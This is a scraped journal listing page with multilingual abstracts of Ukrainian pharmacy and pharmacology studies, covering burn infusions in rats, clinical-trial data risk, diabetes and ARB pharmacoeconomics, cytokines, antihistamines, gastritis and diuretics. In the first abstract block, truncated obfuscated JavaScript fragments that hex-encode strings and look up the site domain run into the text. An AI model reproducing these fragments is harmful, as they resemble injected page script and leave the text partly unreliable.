Clinical Pharmacy (E-Journal) / Клінічна фармація
Not a member yet
269 research outputs found
Sort by
Вплив гіперосмолярного колоїдного розчину HAES-LX 5% на динаміку змін рівня ендогенної інтоксикації та запалення в організмі щурів у гострому періоді опікової хвороби
Get PDFThe article presents the results of studies of markers of endogenous intoxication and inflammation in rats after skin burns of II-degree, 21-23 % of the body surface area and its correction by infusion solutions of lactoprotein with sorbitol, HAES-LX 5 % and 0.9 % solution of NaCl. On day 3 the content of average molecular weight and the C-reactive protein increases according to the condition of burn disease. In animals injected with the study medication, rates of endogenous intoxication were statistically significantly lower compared with rats injected with isotonic solution. Protective effect of hyperosmolar colloid solution HAES-LX 5 % and lactoprotein with sorbitol most expressive on the 7th day of the experiment. Preparations have antioxidant, anti-inflammatory effects and reduce the level of endogenous intoxication and inflammatory reactions in rats organism.// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;eВ статье представлены результаты исследований уровня эндогенной интоксикации у крыс осле ожога кожи ІІ-а степени, площадью 21-23 % поверхности тела и ее коррекции инфузионными растворами HAES-LX-5 %, лактопротеина с сорбитолом и 0,9 % раствора NaCl. В условиях ожоговой болезни на 3 сутки возрастает содержание молекул средней массы и С-реактивного протеина. У животных, которым вводили исследуемые препараты, показатели интоксикации и воспаления были статистически значимо меньше по сравнению с крысами, которым вводили изотонический раствор. Протекторное действие гиперосмолярного коллоидного раствора HAES-LX 5% и лактопротеин с сорбитолом более выразительно на 7 сутки эксперимента. Препараты проявляют антиоксидантное, противовоспалительное действие и снижают уровень эндогенной интоксикации, воспалительных реакций и нитрозативного стресса в организме крыс.В статті представлені результати досліджень маркерів рівня ендогенної інтоксикації та запалення у щурів після опіку шкіри ІІ-а ступеня, площею 21-23 % поверхні тіла та їх корекції інфузійними розчинами HAES-LX 5 %, лактопротеїну з сорбітолом та 0,9 % розчин NaCl. За умов опікової хвороби на 3 добу зростає вміст молекул середньої маси та С-реактивного протеїну. У тварин, яким вводили досліджувані препарати, показники інтоксикації та запалення були статистично значуще меншими в порівнянні з щурами, яким вводили ізотонічний розчин. Протекторна дія гіперосмолярного колоїдного розчину HAES-LX 5 % та лактопротеїну з сорбітолом найбільш виразна на 7 добу експерименту. Препарати виявляють антиоксидантну, протизапальну дії та знижують рівень ендогенної інтоксикації, запальних реакцій та нітрозативного стресу в організмі щурів.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.nuph.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;
Оцінка ризиків щодо якості даних за методом FMEA аналізу
Get PDFGlobalization, limited resources, increased complexity and amount of clinical trials (CT), and of participating patients / volunteers create the conditions in which to obtain reliable and scientifically valid results about the effectiveness and safety of medicines is a complex, but a priority task. In this regard, actual is the use of advanced management approaches in the planning and organization of CT of drugs, in particular, quality risk management. The article discusses the methodology of risk assessment for the data quality in clinical trials based on FMEA tools, as well as the results of its testing in Clinical and Diagnostic Center of the National University of Pharmacy. During the development of this method the main types of data quality risks in clinical trial were analyzed, and the basic violations and errors which underlie them were determined. As a result of the expert assessment of the causes and consequences of the identified violations, it was determined the value of data quality risks in clinical trials and their categorization into serious, moderate and minor were executed. It was found that the highest risk is "a lack of understanding by the patient / volunteer questions of an investigator, errors in filling in the diary" the value of which exceeds the level of moderate risk. Based on these results the recommendations to reduce the impact of this risk were given. According to the mentioned above, ease of analysis and interpretation of the results obtained, considered method allows to identify and prevent the threat of violations and errors in data management at the trial site, and it can be used in the risk management process at the planning stage of clinical trials, during audits and regulatory inspections.Глобализация, ограниченность ресурсов, увеличение сложности и количества клинических исследований (КИ) и участвующих в них пациентов / добровольцев создают условия, в которых получение достоверных и научно обоснованных результатов про эффективность и безопасность лекарственного средства (ЛС) является, хоть и сложной, но первоочередной задачей. В связи с этим, актуальным становится использование прогрессивных управленческих подходов при планировании и организации КИ ЛС, в частности, управление рисками для качества. В статье рассмотрена методика оценивания рисков для качества данных в КИ на основе инструментов FMEA, а также результаты её апробации в Клинико-диагностическом центре Национального фармацевтического университета. В ходе разработки данной методики, были проанализированы основные типы рисков для качества данных в КИ, и выделены основные нарушения и ошибки, которые лежат в их основе. В результате экспертного оценивания причин возникновения и последствий выделенных нарушений, было определено величину рисков для качества данных в КИ и осуществлено их соответствующую категоризацию на серьезные, умеренные и незначительные. Установлено, что наиболее высоким является риск «непонимание пациентом / добровольцем вопросов исследователя, ошибки в заполнении дневника», величина которого превышает уровень умеренного риска. На основе полученных результатов были сформулированы рекомендации по уменьшению влияния этого риска. Учитывая наглядность, простоту анализа и интерпретации полученных результатов, рассмотренная методика позволяет определить и предупредить угрозы возникновения нарушений и ошибок при управлении данными в исследовательском центре, а также она может быть использована в процессе управления рисками на этапе планирования КИ ЛС, во время проведения аудитов и инспекций регуляторных органов.Глобалізація, обмеженість ресурсів, зростання складності та кількості клінічних випробувань (КВ) і залучених у них пацієнтів / добровольців створюють умови, в яких отримання достовірних та науково обґрунтованих даних щодо ефективності та безпеки лікарського засобу (ЛЗ) є, хоч і важким, але першочерговим завданням. У зв’язку з цим стає актуальним використання прогресивних управлінських підходів при плануванні та організації КВ ЛЗ, зокрема управління ризиками для якості. У статті розглянуто методику оцінювання ризиків для якості даних у КВ на основі інструментів FMEA, а також результати її апробації у Клініко-діагностичному центрі Національного фармацевтичного університету. Під час розробки даної методики були проаналізовані основні типи ризиків для якості даних у КВ, та виділені відповідні порушення та помилки, які полягають в їх основі. В результаті експертного оцінювання причин виникнення та наслідків виділених порушень, було визначено величину ризиків для якості даних у КВ та здійснено їх відповідну категоризацію на серйозні, помірні та незначні. Встановлено, що найвищим є ризик «нерозуміння пацієнтом / добровольцем запитань співдослідника, помилки в заповненні щоденника», величина якого перевищує рівень помірного ризику. На підставі отриманих результатів було сформульовано рекомендації щодо зменшення впливу цього ризику. Враховуючи наочність, простоту аналізу та інтерпретації отриманих результатів, розглянута методика дозволяє визначити та попередити загрози виникнення порушень і помилок при управлінні даними на місці проведення дослідження, а також вона може бути використана в процесі управління ризиками на етапі планування КВ ЛЗ, під час проведення аудитів та інспекцій регуляторних органів
Математичне моделювання як метод вибору фармакоекономічно обгрунтованої схеми комбінованої цукрового діабету 2 типу
No full textThe pharmacoeconomic study has been conducted with the purpose of scientific substantiation of the regimens of combined therapy of type 2 diabetes mellitus (DM). The research subjects were 1792 inpatient medical histories of the patients with type 2 DM. These patients were treated at the Vinnytsia regional endocrinology clinic, endocrinology departments of the Khmelnytsky and Ternopol regional hospitals in 2011-2013. The following methods were used in the research: frequency analysis, ATC/DDD-analysis, cost-effectiveness analysis, cost-utility analysis, sensitivity analysis, mathematical modeling. As a result of the frequency analysis conducted it has been found that the following regimens of pharmacotherapy are the most frequently used: metformin + glimepiride applied in 45% of cases, gliclazide + metformin – in 14.5% of cases, metformin + glibenclamide – in 6.1% of cases. ATC/DDD-analysis has shown that the cost of DDD of metformin + glimepiride is ranged from 2.70 (Dianormet t.850 mg No.30 + Diapiryd 3 mg t.№30) tо 8.88 UAH (Siofor 500 mg t. No.60 + Amaril 2 mg t. No.30), metformin + gliclazide – from 3.29 (Diaformin 850 mg t. No.60 + Diaglizyd MR 30 mg t. No.60) to 9.43 UAH (Siofor 500 mg t. No.60 + Diabeton MR 60 mg t. No.30), metformin + glibenclamide – from 1.98 (Diaformin 850 mg t. No.60 + Glibenclamide 5 mg t. No.100) to 6.20 UAH (Siofor 500 mg t. No.60 + Maninil 3,5 mg t. No.120). The results obtained indicate the cost-effective and cost-utility advantages of the regimen of the combined therapy metformin + glibenclamide. The sensitivity analysis has shown stability of the pharmacoeconomic study results. The mathematical model of the "Decision Tree" that graphically shows the results of pharmacoeconomic studies has been constructed.Было проведено фармакоэкономическое исследование с целью научного обоснования выбора схем комбинированной терапии сахарного диабета (СД) 2 типа. Материалы исследования: 1792 медицинских карт стационарных больных с СД 2 типа, находящихся на лечении в Винницком областном клиническом эндокринологическом диспансере, эндокринологических отделениях Хмельницкой областной и Тернопольской университетской больницах в 2011-2013 годах. Методы исследования: частотный анализ; АТС/DDD-анализ; анализ затраты-эффективность; анализ затраты-полезность; анализ чувствительности; математическое моделирование. При проведении частотного анализа установлено, что среди комбинированных схем терапии для лечения СД 2 типа в 45% случаев применялась схема терапии метформин + глимепирид, в 14,5% – метформин + гликлазид и в 6,1% – метформин + глибенкламид. В результате АТС/DDD-анализа установлено, что стоимость DDD в разрезе стоимости генериков для комбинированной терапии метформин + глимепирид колеблется от 2,70 (Дианормет табл. 850 мг №30 + Диапирид 3 мг табл. №30) до 8,88 грн (Сиофор 500 мг табл. №60 + Амарил 2 мг табл. №30), метформин + гликлазид – от 3,29 (Диаформин 85 табл. №60 + Диаглизид MR 30 мг табл. №60) до 9,43 грн (Сиофор 500 мг табл. №60 + Диабетон MR 60 мг табл. №30), метформин + глибенкламид – от 1,98 (Диаформин 850 табл. №60 + Глибенкламид 5 мг табл. №100) до 6,20 грн (Сиофор 500 мг табл. №60 + Манинил 3,5 мг табл. №120). Исследование показало, что схема комбинированной фармакотерапии метформин + глибенкламид имела стоимостно-эффективные и стоимостно-полезные преимущества, а анализ чувствительности продемонстрировал устойчивость полученных результатов проведенного фармакоэкономического исследования. Создана математическая модель «дерево решений» на основе проведенного фармакоэкономического исследования, которая графически отображает его результаты.Було проведено дослідження з метою фармакоекономічного обґрунтування вибору схем фармакотерапії ЦД 2 типу на основі фармакоекономічного дослідження. Матеріали дослідження: 1792 медичних карток стаціонарних хворих з ЦД 2 типу, які перебували на лікуванні у Вінницькому обласному клінічному ендокринологічному диспансері, ендокринологічних відділеннях Хмельницької обласної та Тернопільської університетської лікарень у 2011-2013 роках. Методи дослідження: частотний аналіз; АТС/DDD-аналіз; аналіз витрати-ефективність; аналіз витрати-корисність; аналіз чутливості; математичне моделювання. Для фармакоекономічного дослідження були вибрані найбільш часто застосовані серед схем комбінованої терапії ЦД 2 типу: метформін + глімепірид, метформін + гліклазид та метформін + глібенкламід. В результаті АТС/DDD-аналізу встановлено, що вартість DDD в розрізі вартості генериків для комбінованої терапії метформін + глімепірид коливається від 2,70 (Діанормет т.850мг№ 30 + Діапірид 3мг т.№ 30) до 8,88 грн.(Сіофор 500мг т.№ 60 + Амаріл 2мг т.№ 30), метформін + гліклазид – від 3,29 (Діаформін 850 т. № 60 + Діаглізид MR 30мг т.№ 60) до 9,43 грн.(Сіофор 500мг т.№ 60 + Діабетон MR 60мг т.№ 30), метформін + глібенкламід – від 1,98 (Діаформін 850 т. № 60 + Глібенкламід 5мг т.№ 100) до 6,20 грн.(Сіофор 500мг т.№ 60 + Манініл 3,5мг т.№ 120). При проведенні частотного аналізу встановлено, що серед комбінованих схем терапії для лікування ЦД 2 типу у 45 % випадків застосовувалась схема терапії метформін + глімепірид, в 14,5 % – метформін + гліклазид та в 6,1 % – метформін + глібенкламід; схема фармакотерапії метформін + глібенкламід мала вартісно-ефективні та вартісно-корисні переваги, а аналіз чутливості продемонструва стійкість отриманих результатів проведеного фармакоекономічного дослідження; створена математична модель «дерево рішень» графічно відображає результати проведеного фармакоекономічного дослідження
Фармакоепідеміологічні та фармакоекономічні аспекти споживання препаратів блокаторів рецепторів ангіотензину ІІ на фармацевтичному ринку України
Get PDFThe results of the analysis of the range, economic accessibility and consumption of angiotensin II receptor blockers (ARBs II) compared to ACE inhibitors within 2008-2013 have been considered. The choice of the optimal trade names (TN) has been substantiated according to the results of the “cost minimization” pharmacoeconomic analysis and the missed opportunities index. During the study period there was the increase in the range of ARBs II at the pharmaceutical market of Ukraine mainly due to foreign drugs. Drugs of ARBs II are characterized by lower availability for an average Ukrainian compared to ACE inhibitors. In the dynamics of the years the consumption volumes of ARBs II increased, but they were significantly inferior to the volume of ACE inhibitors consumption. During the research period the leaders of consumption were drugs of losartan, valsartan and candesartan, which were mostly generics. According to the results of the pharmacoeconomic analysis and the calculation of the missed opportunities some cheaper drugs of ARBs II have been identified. Using these drugs compared to more expensive ones allows to treat additionally a certain number of patients.Рассмотрены результаты анализа ассортимента, экономической доступности и объемов потребления блокаторов рецепторов ангиотензина II (БРА II) по сравнению с ингибиторами АПФ в течение 2008-2013 годов и обоснования выбора наиболее оптимальных торговых названий (ТН) по результатам фармакоэкономического анализа «минимизация затрат» и показателя упущенных возможностей. В течение исследуемого периода происходило увеличение ассортимента БРА II на фармацевтическом рынке Украины преимущественно за счет препаратов иностранного производства. Препараты БРА II характеризуются более низкой доступностью для среднестатистического жителя Украины по сравнению с ингибиторами АПФ. В динамике лет объемы потребления БРА II возросли, однако значительно уступали объемам потребления ИАПФ. Лидерами потребления в течение исследуемого периода являются препараты лозартана, вальсартана и кандесартана, которые в значительной степени представлены генерическими препаратами. По результатам фармакоэкономического анализа и расчета показателя упущенных возможностей определены отдельные предложения менее затратных препаратов БРА II, использование которых по сравнению с более затратными позволяет дополнительно пролечить определенное количество больных.Висвітлені результати аналізу асортименту, економічної доступності та обсягів споживання блокаторів рецепторів ангіотензину ІІ (БРА II) в порівнянні з інгібіторами АПФ протягом 2008-2013 років та обґрунтування вибору найбільш оптимальних торгових назв (ТН) за результатами фармакоекономічного аналізу «мінімізація витрат» і показника втрачених можливостей. Протягом досліджуваного періоду відбувалося збільшення асортименту БРА ІІ на фармацевтичному ринку України переважно за рахунок препаратів іноземного виробництва. Препарати БРА ІІ характеризуються більш низькою доступністю для середньостатистичного жителя України у порівнянні з інгібіторами АПФ. В динаміці років обсяги споживання БРА ІІ зростали, проте значно поступались обсягам споживання ІАПФ. Лідерами споживання протягом досліджуваного періоду у групі БРА ІІ є препарати лозартану, вальсартану і кандесартану, які значною мірою представлені генеричними препаратами. За результатами фармакоекономічного аналізу і розрахунку показника втрачених можливостей визначені окремі пропозиції менш витратних препаратів БРА ІІ, використання яких порівняно з більш витратними дає можливість додатково пролікувати певну кількість хворих
Вплив івабрадину та ω-3 поліненасичених жирних кислот на рівні цитокінів у хворих із серцевою недостатністю ішемічного ґенезу
Get PDFThe aim of our study was to evaluate of the possible effect of ivabradine and ω-3 polyunsaturated fatty acids on the levels of pro- and anti-inflammatory cytokines in patients with ischemic heart failure. 357 patients with ischemic HF and the sinus rhythm were observed. In accordance to treatment all patients were divided into four groups. The levels of interleukin 1β (IL-1β), interleukin 6 (IL-6), and interleukin 10 (IL-10 ) in the serum were determined using commercial ELISA kits according to the manufacturer’s instructions. During treatment we observed decrease of the serum IL-1β level in all groups of patients. The medicines of the basic treatment decreased of the serum IL-6 level by 30%. Dynamics in the second group was higher – 37.6%. The more intensive changes were caused by additional use of PUFA (for 45.9%) or their combination with ivabradin (for 48.6%). All therapeutic schemes caused the increase of IL-10 levels in the HF patients blood. But more intensive changes were observed in groups with PUFA: by 26%; and 26.1%, respectively. In the first group this value increased by 21.4%; in the second group – by 20.6%. Conclusions: 1. The PUFA medicines have the immunomodulatory effects: they decrease the levels of the serum pro-inflammatory cytokines (IL-1β, IL-6) and increase the level of the anti-inflammatory IL-10. 2. Ivabradine reduces the levels of proinflammarory IL-1β and IL-6 in the serum, but does not influence on the anti-inflammatory IL-10 concentration.Целью исследования было изучение вероятного влияния ивабрадина и препарата ω-3 ПНЖК на уровни провоспалительных (ИЛ-1β, ИЛ-6) и противовоспалительных (ИЛ-10) цитокинов в крови больных с СН ишемического генеза. Были обследованы 357 пациентов с СН. По лечебным схемам больные были разделены на 4 группы в зависимости от лечебных схем. Уровни цитокинов определяли методом ИФА. Во всех группах отмечали уменьшение уровня ИЛ-1β в динамике, что может быть свидетельством снижения уровня воспалительного процесса. Под влиянием препаратов базовой терапии сывороточные уровни ИЛ-6 уменьшились на 30%; при дополнительном использовании ивабрадина – на 37,6%; ω-3 ПНЖК – на 45,9%; их комбинации – на 48,6%. Все терапевтические схемы обусловливали повышение уровня ИЛ-10, но более интенсивно эти изменения происходили в группе ω-3 ПНЖК. Доказано, что препараты ω-3 ПНЖК имеют иммуномодулирующие свойства: уменьшают концентрацию провоспалительных цитокинов (ИЛ-1, ИЛ-6) и увеличивают уровни противовоспалительного ИЛ-10; ивабрадин уменьшает уровни провоспалительных цитокинов (ИЛ-1, ИЛ-6) и не влияет на уровень противовоспалительного ИЛ-10.Метою дослідження було вивчення можливого впливу івабрадину та препарату ω-3 поліненасичених жирних кислот на вміст прозапальних (ІЛ-1β, ІЛ-6) та протизапальних (ІЛ-10) цитокінів у крові хворих із серцевою недостатністю ішемічного ґенезу. Були обстежені 357 пацієнтів із СН на тлі ІХС зі збереженим синусовим ритмом. За лікувальними схемами хворі були розділені на 4 групи залежно від терапевтичних схем. Концентрацію цитокінів у сироватці крові чи супернатанті культури моноцитів/макрофагів визначали методом ІФА. В усіх обстежених пацієнтів відмічали зменшення титрів сироваткового ІЛ-1β при лікуванні, що може бути свідченням зниження інтенсивності запального процесу при СН. Під впливом препаратів базової терапії сироваткові рівні ІЛ-6 у хворих із СН зменшилися на 30%; при додатковому призначенні івабрадину – на 37,6%; ω-3 ПНЖК – на 45,9%; комбінації досліджуваних ліків – на 48,6%. Усі терапевтичні схеми призводили до зростання сироваткових рівнів протизапального цитокіну ІЛ-10. Проте найбільш виразні зміни відбувалися за умови призначення ω-3 ПНЖК. Доведено, що омега-3 поліненасичені жирні кислоти володіють імуномодулюючими ефектами: зменшують концентрацію прозапальних цитокінів (ІЛ-1β, ІЛ-6) в сироватці крові хворих із серцевою недостатністю та збільшують рівні протизапального ІЛ-10; івабрадин зменшує рівні прозапальних ІЛ-1β, ІЛ-6 та не впливає на рівень протизапального цитокіну ІЛ-10
Особливості циркадіанної динаміки антиоксидантної системи та перекисного окиснення ліпідів у щурів
Get PDFThe activity of the liver as the central metabolic laboratory of an organism has a clear circadian rhythm due to the dependence of the daily flow of metabolic processes in the body. An important linking element of the cellular metabolism of circadian rhythms is the body’s antioxidant system (AOS) activity and lipid peroxidation (LPO). As a result of this research the circadian dependence of the LPO-AOS activity has been determined, however, not all of the components of the AOP system “work” equivalently during the day. According to the key components of the AOP activity the maximal “sustainability” of AOS is observed in the morning and the minimal – in the evening and at night. No significant sex differences between female-rats and male-rats have been found.Деятельность печени как центральной метаболической лаборатории организма характеризуется четкой циркадианной ритмикой, что обусловлено суточной зависимостью течения метаболических процессов в ней. Важным объединяющим звеном клеточного метаболизма и циркадианных ритмов есть состояние антиоксидантной системы организма (АОС) и активности процессов перекисного окисления липидов (ПОЛ). В результате проведенных исследований установлена циркадианная зависимость активности ПОЛ-АОС, хотя не все компоненты системы АОЗ равноценно «работают» в течение суток. По показателям активности ключевых компонентов системы АОЗ наивысшая «стойкость» АОС наблюдается в утренне-дневной, а минимальная – в вечерне-ночной периоды. Существенных отличий между крысами-самками и крысами-самцами не установлено. Діяльність печінки як центральної метаболічної лабораторії організму має чітку циркадіанну ритміку, що обумовлено добовою залежністю перебігу метаболічних процесів в органі. Важливою об’єднуючою ланкою клітинного метаболізму і циркадіанних ритмів є стан антиоксидантної системи організму (АОС) та активність процесів перекисного окиснення ліпідів (ПОЛ). У результаті проведених досліджень встановлена циркадіанна залежність активності ПОЛ-АОС, однак не всі компоненти системи АОЗ рівноцінно «працюють» протягом доби. За показниками активності ключових компонентів системи АОЗ – найбільша «стійкість» АОС спостерігається в ранково-денний, а мінімальна – у вечірньо-нічний періоди. Суттєвих статевих відмінностей між щурами-самицями та щурами-самцями не виявлено
Фармакоепідеміологічне дослідження динаміки споживання антигістамінних лікарських засобів в Україні
Get PDFAccording to the WHO, now allergy takes the 3rd place by the morbidity rate among other nosologies. According to statistics, 20-40% of the world population suffers from one or the other form of allergic diseases, and in Ukraine approximately 1.5% of the population has been diagnosed with allergy. However, the actual figures are much higher – up to 25% (about 10 million people). The aim of this study was to determine dynamics of AH consumption in Ukraine for three years and conduct the analysis of AH at the market for 2012 – 2014, as well as analysis of availability of drugs included into the standard of allergic rhinitis treatment, in the National Drug Formulary. The data from the National Drug Formulary of Ukraine (the 6th edition) and from the Appendix to the Order of the Ministry of Public Health No. 507 dated 28-12-2002 “Standards of medical care in allergic rhinitis” were used to determine availability of drugs included into the standard of AR treatment. The ATC/DDD methodology and data on the volume of AH consumption of Morion research and retrieval system “Medicines” were used to determine the volume of AH consumption. Currently, 14 INN AH, on the basis of which 164 drugs are proposed by TN, are presented in Ukraine. As of the end of 2014, Loratadine (2.62) > Levocetirizine (1.91) > Cetirizine (1.78) > Mebhydrolin (1.38) became the leading medicines among AH by the volume of consumption in the DDDs/1000/d indicator. The medicines included into the Appendix to the Order of the Ministry of Public Health No. 507 dated 28-12-2002 do not comply with current standards of treatment according to the guidelines of the World Allergy Organization; it indicates the preconditions of change in the Ukrainian recommendations for AR treatment in the near future. Согласно статистическим данным в мире на ту или иную форму аллергических заболеваний страдает 20-40% населения, а в Украине аллергия диагностирована примерно у 1,5% населения. Однако реальные цифры гораздо выше – до 25% (около 10 млн человек). Целью данного исследования было определение динамики объемов потребления АГС в Украине в течение трех лет, анализ АГС на рынке за 2012-2014 гг., анализ наличия препаратов, включенных в стандарт лечения аллергического ринита, в ГФ ЛС. Для определения наличия препаратов, включенных в стандарт лечения АР, использовали данные ГФ ЛС (6 выпуск) и данные Приложения к приказу МЗ №507 от 28-12-2002 «Нормативы оказания медицинской помощи при аллергическом рините». Для определения объема потребления АГС использовали ATC/DDD-методологию и данные об объемах реализации ЛС поисковой системы «Лекарственные средства» компании «Морион». На данный момент в Украине представлено 14 МНН АГС, на основании которых предлагается 164 препарата по ТН. По объемам потребления в показателе DDDs/1000/d состоянием на конец 2014 г. препаратами-лидерами среди АГС стали: Лоратадин (2,62) > Левоцетиризин (1,91) > Цетиризин (1,78) > Мебгидролин (1,38). Те препараты, которые включены в Приложение к приказу МЗ №507 от 28-12-2002 г., не соответствуют современным стандартам лечения по постановлениям Мировой Аллергической Организации, что свидетельствует о предпосылках к изменению украинских рекомендаций лечения АР в ближайшем будущем.Згідно з даними ВООЗ за рівнем захворюваності алергія зараз посідає третє місце серед інших нозологій. Згідно зі статистичними даними в світі на ту чи іншу форму алергічних захворювань страждає 20-40% населення, а в Україні алергія діагностована приблизно у 1,5% населення. Однак реальні цифри набагато вищі – до 25% (близько 10 млн осіб). Метою даного дослідження було визначення динаміки обсягів споживання АГЗ в Україні протягом трьох років, аналіз АГЗ на ринку за 2012-2014 рр., аналіз наявності препаратів, включених у стандарт лікування алергічного риніту, у ДФ ЛЗ. Для визначення наявності препаратів, включених у стандарт лікування АР, використовували дані ДФ ЛЗ України (6 випуск) і дані Додатку до наказу МОЗ №507 від 28-12-2002 «Нормативи надання медичної допомоги при алергічному риніті». Для визначення обсягу споживання АГЗ використовували ATC/DDD-методологію і дані про обсяги реалізації ЛЗ пошукової системи «Лікарські засоби» компанії «Моріон». На теперішній час в Україні представлено 14 МНН АГЗ, на підставі яких пропонується 164 препарати за ТН. За обсягами споживання в показнику DDDs/1000/d станом на кінець 2014 р. препаратами-лідерами серед АГЗ стали: Лоратадин (2,62) > Левоцетиризин (1,91) > Цетиризин (1,78) > Мебгідролін (1,38). Ті препарати, які включені до Додатку до наказу МОЗ №507 від 28-12-2002 р. не відповідають сучасним стандартам лікування за настановами Світової Алергічної Організації, що свідчить про передумови до зміни українських рекомендацій лікування АР в найближчому майбутньому
Оцінка фармакотерапії хронічного гастриту в умовах реальної клінічної практики
Get PDFClinical and economic analysis of pharmacotherapy in patients with chronic gastritis (CG) in a particular healthcare institution (HCI) of Kharkov has been carried out. As many as 105 history cases of patients with CG aged from 35 to 59 years have been analyzed. The research lasted 6 months in 2013. Using the “formal” VEN-analysis it has been determined that the large majority of medicines (87.23%) prescribed to the patients with CG in the given HCI of Kharkov is presented in the State Formulary of Ukraine (SFU). Based on the results of the frequency analysis it has been found that the medicines mentioned are the most part of prescription medicines (91.15 %). Using the ABC-analysis it has been determined that the major part of costs (86.00 %) connected with pharmacotherapy of patients with CG are spent on them. The approaches for optimization of pharmacotherapy of CG in the given HCI of Kharkov and funds to carry them out have been proposed. In general, the pharmacotherapy prescribed can be considered as rational both from the clinical and economic points of view. Using indicators of the formulary system monitoring the estimation of its introduction level in the given HCI of Kharkov is given. The number of the medicines prescribed from the SFU compared to the total number of prescriptions (the indicator of the process) was 87.23%, and the number of the medicines prescribed for 1 patient (the indicator of the result) was 7.7. The results obtained show both an insufficient level of the formulary system introduction in this HCI and the urgency of further correction of pharmacotherapy of the patients with CG according to the SFU, as well as rationalization of the medicines prescribed for each individual patient.Проведен клинико-экономический анализ фармакотерапии хронического гастрита (ХГ) в конкретном учреждении здравоохранения (УЗ) г. Харькова. Проанализировано 105 историй болезни пациентов с ХГ в возрасте от 35 до 59 лет. Продолжительность исследования – 6 месяцев 2013 года. С использованием «формального» VEN-анализа определено, что преимущественное большинство (87,23%) назначенных лекарственных препаратов (ЛП) присутствует в Государственном формуляре Украины (ГФЛСУ). На основании результатов частотного анализа установлено, что указанные препараты составляют большую часть назначений врачей – 91,15%. С помощью АВС-анализа определено, что на них потрачена основная часть денежных средств (86,00%), связанных с фармакотерапией пациентов с ХГ. Предложены подходы к оптимизации фармакотерапии ХГ в данном УЗ г. Харькова и денежных средств на ее проведение. В целом назначенную фармакотерапию можно считать рациональной как с клинической, так и с экономической точек зрения. С помощью индикаторов мониторинга формулярной системы дана оценка уровня ее внедрения в данном УЗ г. Харькова. Количество назначенных ЛП из ГФЛСУ от общего количества назначенных ЛП (индикатор процесса) составляло 87,23%, а количество назначений ЛП 1 больному (индикатор результата) – 7,7%. Полученные результаты указывают на недостаточный уровень внедрения формулярной системы в данном УЗ г. Харькова, а также на необходимость дальнейшей коррекции фармакотерапии пациентов с ХГ в соответствии с ГФЛСУ его врачами и рационализации назначений лекарственных препаратов каждому отдельному больному.Проведений клініко-економічний аналіз фармакотерапії хронічного гастриту (ХГ) в певному закладі охорони доров’я (ЗОЗ) м. Харкова. Проаналізовано 105 історій хвороби пацієнтів з ХГ віком від 35 до 59 років. Тривалість дослідження – 6 місяців 2013 року. З використанням «формального» VEN-аналізу визначено, що переважна більшість (87,23%) призначених лікарських препаратів (ЛП) наявна в Державному формулярі України (ДФЛЗУ). На грунті результатів частотного аналізу встановлено, що зазначені препарати складають більшу частину лікарських призначень – 91,15%. За допомогою АВС-аналізу визначено, що на них витрачена основна частина грошових коштів (86,00%), пов’язаних з фармакотерапією пацієнтів з ХГ. Запропоновані підходи до оптимізації фармакотерапії ХГ в даному ЗОЗ м. Харкова та грошових коштів на її проведення. В цілому призначену фармакотерапію можна вважати раціональною як з клінічної, так і з економічної точок зору. За допомогою індикаторів моніторингу формулярної системи дана оцінка рівня її впровадження в даному ЗОЗ м. Харкова. Кількість призначених ЛП з ДФЛЗУ від загальної кількості призначених ЛП ( індикатор процесу) складала 87,23%, а кількість призначень ЛП 1 хворому ( індикатор результату) – 7,7%. Отримані результати вказують на недостатній рівень впровадження формулярної системи в даному ЗОЗ м. Харкова, а також на необхідність подальшої корекції фармакотерапії пацієнтів з ХГ відповідно до ДФЛЗУ його лікарями і раціоналізації лікарських призначень кожному окремому хворому
Cкринінг діуретичної активності в ряду нових похідних оксамінових кислот
Get PDFThe screening study of oxamic acid derivatives and their influence on the excretory function of the kidneys in Wistar white rats under conditions of water load has been carried out. The compounds under research are white crystalline substances of the basic character, odourless, with a distinct melting point, soluble in polar organic solvents and mineral acids. The structure and purity of the substances studied have been confirmed by modern physicochemical methods of elemental, IR and PMR spectral, chromatographic analysis and qualitative reactions. The analysis of the effect of these substances on the excretory function of the kidneys have been carried out on white male rats by the method of E.B. Berkhin using a number of animals with 7 rats in each group. The activity of the compounds studied was compared with the activity of well-known drugs – hypothiazide, furosemide and adiurecrine. A number of compounds caused decrease in urine output in animals. The diuretic activity of the compounds was influenced by the chemical characteristics of the substituent and its location. As a result of the research performed substances increasing diuresis with the diuretic activity exceeding that of the reference medicine – hypothiazide – have been found. Substituted amides of arenesulphonyloxamic acid are a promising group of compounds for further pharmacological study with the aim of development of new medicines with the diuretic activity on their basis.Проведены скрининговые исследования производных оксаминовых кислот и их влияния на выделительную функцию почек у белых крыс линии Вистар в условиях водной нагрузки. Исследуемые соединения представляют собой белые кристаллические вещества основного характера без запаха, с четкой температурой плавления, растворимые в полярных органических растворителях и минеральных кислотах. Строение и чистота исследуемых веществ подтверждены современными физико-химическими методами элементного, ИК-, ПМР-спектрального, хроматографического анализов и качественными реакциями. Изучение влияния данных веществ на выделительную функцию почек проводили на белых крысах-самцах по методу Е.Б.Берхина, использовали серии животных по 7 крыс в каждой группе. Активность исследуемых соединений сравнивали с активностью хорошо известных лекарственных средств – гипотиазида, фуросемида и адиурекрина. В результате проведенных исследований выявлены вещества, вызывающие увеличение диуреза, превышающие по диуретической активности эталонный препарат сравнения гипотиазид. Ряд соединений вызывал уменьшение диуреза у животных. На диуретическую активность изучаемых соединений влияла как химическая особенность заместителя, так и его расположение. Замещенные амиды аренсульфонилоксаминовых кислот являются перспективной группой соединений для дальнейшего фармакологического изучения с целью создания на их основе лекарственных препаратов с диуретическими свойствами.Проведені скринінгові дослідження похідних оксамінових кислот та їх впливу на видільну функцію нирок у білих щурів лінії Вістар в умовах водного навантаження. Досліджувані сполуки являють собою білі кристалічні речовини основного характеру без запаху, з чіткою температурою плавлення, розчинні в полярних органічних розчинниках, мінеральних кислотах. Будова та чистота досліджуваних речовин підтверджені сучасними фізико-хімічними методами елементного, ІЧ-, ПМР-спектрального, хроматографічного аналізів та якісними реакціями. Вивчення впливу даних речовин на 